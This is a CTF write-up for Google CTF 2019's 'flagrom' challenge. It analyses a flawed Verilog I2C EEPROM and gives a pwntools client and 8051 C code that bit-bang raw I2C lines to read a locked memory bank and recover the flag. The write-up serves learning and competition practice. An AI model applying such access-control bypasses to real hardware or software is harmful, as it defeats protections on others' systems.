Google CTF 2019 Quals - flagrom writeup
This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.
nc flagrom.ctfcompetition.com 1337
This time, we’re provided with an archive containing an ELF binary running on the server, some 8051 firmware, its source (thankfully) and a System Verilog file implementing the “secure” EEPROM employed in the challenge.
Glancing over the server binary in GHIDRA, we can see that the process is straightforward enough:
The binary checks the proof of work (the usual md5 bruteforce stuff), then accepts some user input interpreting it as 8051 machine code and initializes the virtual EEPROM. The flag gets loaded over the firmware, and the firmware is executed on an 8051 emulator to write it into the EEPROM; after that, the flag is deleted from memory, and the emulator is restarted to run the provided code.
The firmware itself also doesn’t do anything difficult, basically writing the flag into the EEPROM, doing secure_banks() which apparently locks down the appropriate 64-byte chunk of memory in it preventing read access, then clearing the flag, writing “Hello there” into another (preceding) 64-byte EEPROM bank and “powering off”:
void main(void) {
write_flag();
secure_banks();
remove_flag();
write_welcome();
POWEROFF = 1;
}
So, it looks like we’ll have to find some bugs in the Verilog EEPROM code and also learn to program 8051 along the way. Let’s start with the latter to make the job easier, and for starters let’s recompile the provided firmware with just some print("Hey there!\n") in the main function.
Googling “8051 compiler” brings us to Small Device C Compiler; let’s try that on the firmware.c:
$ sdcc firmware.c
$ ls
firmware.asm firmware.c firmware.ihx firmware.lk firmware.lst firmware.map firmware.mem firmware.rel firmware.rst firmware.sym
Doing a bit more research (“sdcc convert to binary”) shows that we can do the rest with objcopy:
$ objcopy -Iihex -Obinary firmware.ihx out.bin
And now let’s try to actually pass the result to the server, proof of work and all:
import hashlib
import string
import itertools
import sys
from pwn import *
def proof(prefix):
for i in range(5):
for c in itertools.product(string.printable, repeat=i):
if hashlib.md5("flagrom-" + "".join(c)).hexdigest().startswith(prefix):
return "flagrom-"+"".join(c)
s = remote("flagrom.ctfcompetition.com", 1337)
prefix = s.recvuntil("?")[-7:-1]
s.send(proof(prefix)+"\n")
data = open("out.bin", "rb").read()
print s.recvuntil("payload?")
s.send(str(len(data))+"\n") # send the binary size
s.send(data) # send the binary itself
s.interactive() # look at the output
See Hey there! in the output? Time for the actual puzzle then!
Let’s stare at the Verilog code for a bit. After some reading up on I2C, it becomes clear that it implements its slave interface as a state machine (one of which the old man has previously ran into), but some of it looks pretty fishy. First, the most interesting part is how the memory becomes locked:
147 `I2C_CONTROL_SECURE: begin
148 mem_secure <= mem_secure | i2c_control_bank;
149 i2c_state <= I2C_ACK;
There’s no other code that would change mem_secure, so once locked, the bank will stay locked until the end of time. Still, there should be the way around it in this case, right? Rummaging through the code, we find that the mem_secure bits are alternatively accessed through i2c_address_secure and i2c_next_address_secure:
51 wire i2c_address_secure = mem_secure[i2c_address / 64];
52 wire i2c_next_address_secure = mem_secure[(i2c_address + 1) / 64];
These are checked in three places: I2C_LOAD_ADDRESS, I2C_WRITE and I2C_READ states, but actually only I2C_LOAD_ADDRESS directly looks into the bits, the other two just matching the current address’ lock status with that of the next one:
161 I2C_LOAD_ADDRESS: begin
162 `DEBUG_DISPLAY(("i2c_address = %b", i2c_address));
163 `DEBUG_DISPLAY(("i2c_address_bits = %d", i2c_address_bits));
164 if (i2c_address_bits == 8) begin
165 if (i2c_address_secure) begin
166 i2c_address_valid <= 0;
167 i2c_state <= I2C_NACK;
168 end else begin
169 i2c_data_bits <= 0;
170 i2c_address_valid <= 1;
171 i2c_state <= I2C_ACK_THEN_WRITE;
172 end
173 end else if (i2c_scl_state == I2C_SCL_RISING) begin
174 i2c_address <= {i2c_address[6:0], i_i2c_sda};
175 i2c_address_bits <= i2c_address_bits + 1;
176 end
177 end
178 I2C_WRITE: begin
179 `DEBUG_DISPLAY(("i2c_data_ = %b", i2c_data));
180 `DEBUG_DISPLAY(("i2c_data_bits = %d", i2c_data_bits));
181 if (i2c_data_bits == 8) begin
182 i2c_data_bits <= 0;
183 if (i2c_address_secure == i2c_next_address_secure) begin
184 `DEBUG_DISPLAY(("WRITE: i2c_address = 0x%x, i2c_data = 0x%x", i2c_address, i2c_data));
185 mem_storage[i2c_address] <= i2c_data;
186 i2c_address <= i2c_address + 1;
187 i2c_state <= I2C_ACK_THEN_WRITE;
188 end else begin
189 i2c_state <= I2C_NACK;
190 end
191 end else if (i2c_scl_state == I2C_SCL_RISING) begin
192 i2c_data <= {i2c_data[6:0], i_i2c_sda};
193 i2c_data_bits <= i2c_data_bits + 1;
194 end
195 end
196 I2C_READ: begin
197 `DEBUG_DISPLAY(("i2c_data_bits = %d", i2c_data_bits));
198 if (i2c_data_bits == 8 && i2c_scl_state == I2C_SCL_RISING) begin
199 i2c_data_bits <= 0;
200 if (i2c_address_secure == i2c_next_address_secure) begin
201 `DEBUG_DISPLAY(("READ: i2c_address = 0x%x", i2c_address));
202 i2c_address <= i2c_address + 1;
203 i2c_state <= I2C_ACK_THEN_READ;
204 end else begin
205 i2c_state <= I2C_NACK;
206 end
Not only that, but we also can see that reading seems to be passing the data out before any check is even done. There’s no immediately obvious way to use that though, as reaching the I2C_READ state would require going through I2C_CONTROL_EEPROM that first checks the i2c_address_valid:
134 `I2C_CONTROL_EEPROM: begin
135 if (i2c_control_rw) begin
136 if (i2c_address_valid) begin
137 i2c_data_bits <= 0;
138 i2c_state <= I2C_ACK_THEN_READ;
139 end else begin
140 i2c_state <= I2C_NACK;
141 end
But wait, i2c_address_valid? What’s that? Definitely not quite the same as i2c_address_secure! We’ve seen it previously set with I2C_LOAD_ADDRESS in fact; that would mean that setting it to 1 with an unlocked address would then allow us to continuosly read the memory as long as the locked state of the next address matches the current one. So if we manage to load the address preceding the 64-byte bank containing the flag (which is conveniently possible, as the flag is put in the second bank following the welcome message), then lock the correspondent (first) bank - as locking doesn’t touch the i2c_address_valid - and then read past its 64-byte border, we will actually get the flag out!
Skimming through firmware.c, it doesn’t look like the I2C-M module emulated along with the 8051 chip could allow for that though, as it seems to always load the address directly before reading (or writing), thus setting i2c_address_valid appropriately before every actual access. Also, checking with the I2C tutorial again, we see that every frame is supposed to be finished with the master directing the slave to the I2C_STOP state, and if we look at the Verilog again we’ll see it resetting i2c_address_valid:
220 if (i2c_stop) begin
221 i2c_address_valid <= 0;
222 i2c_state <= I2C_IDLE;
223 end else if (i2c_start) begin
224 i2c_state <= I2C_START;
225 end
…now wait a minute. This is weird!
Scrolling back and forth through the EEPROM code, we can see clearly now that nothing actually prevents us from never ever setting the state to I2C_STOP, and we could just pull the wires to go to I2C_START any time we need to go back to the beginning:
93 always_comb begin
94 if (i2c_scl_state == I2C_SCL_STABLE_HIGH) begin
95 i2c_start = i2c_last_sda && !i_i2c_sda;
96 i2c_stop = !i2c_last_sda && i_i2c_sda;
97 end else begin
98 i2c_start = 0;
99 i2c_stop = 0;
100 end
101 end
But the I2C module still won’t work that way right?.. Well, look what else is mentioned in the firmware.c and never used for some reason:
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
From the docs, it follows that the master is in full control of the SCL/clock line, just sending or receiving the bits over SDA/data line when appropriate. So can we bypass the module maybe, directly bit-banging our broken I2C on the SDA/SCL lines?
Sure we can!
Looking back to the tutorial for reference (or to the functions of the decompiled binary for that matter), we first construct a function that would teleport us back to I2C_START from anywhere, guaranteed:
void i2c_start() {
RAW_I2C_SCL = 0;
RAW_I2C_SDA = 1;
RAW_I2C_SCL = 1;
RAW_I2C_SDA = 0;
}
Now let’s see how the levers should be pulled to exchange some bits. It turns out to be pretty easy actually:
void send_bit(char bit) {
RAW_I2C_SCL = 0;
RAW_I2C_SDA = bit;
RAW_I2C_SCL = 1;
}
char recv_bit() {
char out;
RAW_I2C_SCL = 0;
out = RAW_I2C_SDA;
RAW_I2C_SCL = 1;
return out;
}
And now, back to our insidious plan:
void solve() {
unsigned char i;
unsigned char j;
// set address to 63 (the last byte before the flag)
// via I2C_LOAD_ADDRESS
i2c_start();
// 1010 0000 - go to I2C_LOAD_ADDRESS
send_bit(1); send_bit(0); send_bit(1); send_bit(0);
send_bit(0); send_bit(0); send_bit(0); send_bit(0);
CHAROUT = 0x30 + recv_bit(); // confirm the ACK from the EEPROM (should show 0)
print("\n");
// 0011 1111 - decimal 63
send_bit(0); send_bit(0); send_bit(1); send_bit(1);
send_bit(1); send_bit(1); send_bit(1); send_bit(1);
CHAROUT = 0x30 + recv_bit();
print("\n");
// REWIND!
i2c_start();
// 0101 1111 lock the memory. ALL the memory!
send_bit(0); send_bit(1); send_bit(0); send_bit(1);
send_bit(1); send_bit(1); send_bit(1); send_bit(1);
CHAROUT = 0x30 + recv_bit(); // confirm the ACK, memory locked!
print("\n");
// read ahead into the flag bank!
for (i = 0; i < 64; i++) {
i2c_start();
// 1010 0001 - go to I2C_READ
send_bit(1); send_bit(0); send_bit(1); send_bit(0);
send_bit(0); send_bit(0); send_bit(0); send_bit(1);
recv_bit(); // ACK
// print out the ones and zeroes
for (j = 0; j < 8; j++) {
CHAROUT = 0x30 + recv_bit();
}
print(" ");
recv_bit(); // ACK
// now the i2c_address in EEPROM is incremented and we can go for the next byte
}
}
void main(void) {
solve();
}
Compile the binary, send it with solve.py, and we get
00000000 01000011 01010100 01000110 01111011 01100110 01101100 01100001 01100111 01110010 01101111 01101101 00101101 01100001 01101110 01100100 00101101 01101111 01101110 00101101 01100001 01101110 01100100 00101101 01101111 01101110 01111101 00000000 00000000 00000000 00000000 ...
Convert it into ASCII and…
CTF{flagrom-and-on-and-on}
FLAG GET!
Time for the blooper reel! Not everything went as smooth in the actual process of solving this task. One particularly unfortunate accident had been that for some unimaginable now debugging reasons (checking if the lines work right?) I managed to put a busy loop delay into the recv_bit routine, running out of the emulation cycles before even getting to the middle of the flag and leading to many a curse and much subsequent grinding of teeth and tearing of hair. But all’s well what ends well right? My teeth (and hair) still seem to be mostly intact, I think